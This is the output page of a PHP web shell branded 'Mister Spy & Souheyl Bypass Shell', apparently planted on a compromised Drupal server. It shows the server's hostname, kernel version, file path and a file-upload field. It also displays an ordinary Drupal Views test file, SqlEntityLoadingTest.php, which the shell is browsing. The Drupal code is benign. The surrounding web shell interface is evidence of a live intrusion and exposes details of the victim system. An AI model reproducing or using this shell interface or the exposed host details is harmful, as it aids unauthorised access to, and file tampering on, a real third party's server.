Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/views/tests/src/Kernel/Plugin/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/views/tests/src/Kernel/Plugin/SqlEntityLoadingTest.php

<?php

declare(strict_types=1);

namespace Drupal\Tests\views\Kernel\Plugin;

use Drupal\node\Entity\Node;
use Drupal\node\Entity\NodeType;
use Drupal\Tests\views\Kernel\ViewsKernelTestBase;
use Drupal\views\Views;

/**
 * Tests the loading of entities and entity revisions.
 *
 * @group views
 *
 * @see \Drupal\views\Plugin\views\query\Sql
 */
class SqlEntityLoadingTest extends ViewsKernelTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = ['node', 'user'];

  /**
   * {@inheritdoc}
   */
  public static $testViews = ['base_and_revision'];

  /**
   * {@inheritdoc}
   */
  protected function setUp($import_test_views = TRUE): void {
    parent::setUp($import_test_views);

    $this->installEntitySchema('node');
    $this->installEntitySchema('user');
    $this->installSchema('node', 'node_access');
  }

  public function testViewWithNonDefaultPendingRevision(): void {
    $node_type = NodeType::create([
      'type' => 'page',
      'name' => 'Page',
    ]);
    $node_type->save();

    $node = Node::create([
      'type' => 'page',
      'title' => 'test title',
    ]);
    $node->save();

    // Creates the first revision, which is set as default.
    $revision = clone $node;
    $revision->setNewRevision(TRUE);
    $revision->isDefaultRevision(TRUE);
    $revision->save();

    // Creates the second revision, which is not set as default.
    $revision2 = clone $node;
    $revision2->setNewRevision(TRUE);
    $revision2->isDefaultRevision(FALSE);
    $revision2->save();

    $view = Views::getView('base_and_revision');
    $view->execute();

    $expected = [
      [
        'nid' => $node->id(),
        // The default revision ID.
        'vid_1' => $revision->getRevisionId(),
        // The latest revision ID.
        'vid' => $revision2->getRevisionId(),
      ],
    ];
    $this->assertIdenticalResultset($view, $expected, [
      'node_field_data_node_field_revision_nid' => 'nid',
      'vid_1' => 'vid_1',
      'vid' => 'vid',
    ]);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net